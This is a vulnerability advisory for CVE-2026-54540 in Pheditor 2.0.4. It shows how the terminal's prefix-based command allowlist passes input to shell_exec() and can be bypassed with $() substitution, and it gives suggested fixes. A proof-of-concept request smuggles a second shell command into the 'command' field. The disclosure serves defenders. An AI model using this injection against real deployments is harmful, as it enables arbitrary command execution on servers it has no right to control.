PT-2026-60694 · Packagist · Pheditor/Pheditor

CVE-2026-54540

·

Publicado

2026-07-16

·

Atualizado

2026-07-16

CVSS v3.1

8.8

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Pheditor 2.0.4 has an authenticated terminal command whitelist bypass.
The terminal feature checks whether the submitted command starts with one of the configured TERMINAL COMMANDS values, then passes the full command string to shell exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user.

Details

Tested repository:
Tested commit:
62b43df7cb8956a9b0deb9bec278ca8676c890c5
Affected version:
Pheditor 2.0.4
Relevant code in pheditor.php:
  • The terminal handler receives $ POST['command'] and stores it in $command.
  • It blocks only &, ;, and ||.
  • It checks whether $command starts with one of the configured values in TERMINAL COMMANDS.
  • It then passes the full command string to shell exec().
Relevant logic:
php
$command = $ POST['command'];

if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) {
  echo json error("Illegal character(s) in command (& ; ||)
");
  exit;
}

foreach ($terminal commands as $value) {
  $value = trim($value);

  if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) {
    $command found = true;
    break;
  }
}

$output = shell exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo ; pwd');
Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as ls$(...) passes when ls is allowed, while the command substitution is still executed by the shell.

PoC

This was reproduced locally with Docker and PHP 8.3.
For a strict test, the configured command allowlist was changed to only allow ls:
php
define('TERMINAL COMMANDS', 'ls');
Control request:
text
command=whoami
Observed result:
text
Command not allowed
Available commands:
ls
Bypass request:
text
command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt)
Observed result:
text
proof.txt is created with the content:
pheditor-terminal-bypass
This shows that even when only ls is allowed, arbitrary shell commands can still be executed through command substitution.

Impact

An authenticated user with the terminal permission can bypass the intended TERMINAL COMMANDS restriction and execute arbitrary shell commands as the web server user.
This affects deployments where administrators rely on TERMINAL COMMANDS to restrict terminal access to a small set of safe commands.
Suggested fixes:
  • Avoid passing user-controlled command strings to shell exec().
  • Parse the command into executable and arguments.
  • Require an exact command name match instead of prefix matching.
  • Execute without a shell, for example with an argument-array based process API.
  • If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax.
  • Consider disabling the terminal feature by default.
Reporter credit requested:

Correção

OS Command Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54540
GHSA-9643-6XJP-VX57

Produtos afetados

Pheditor/Pheditor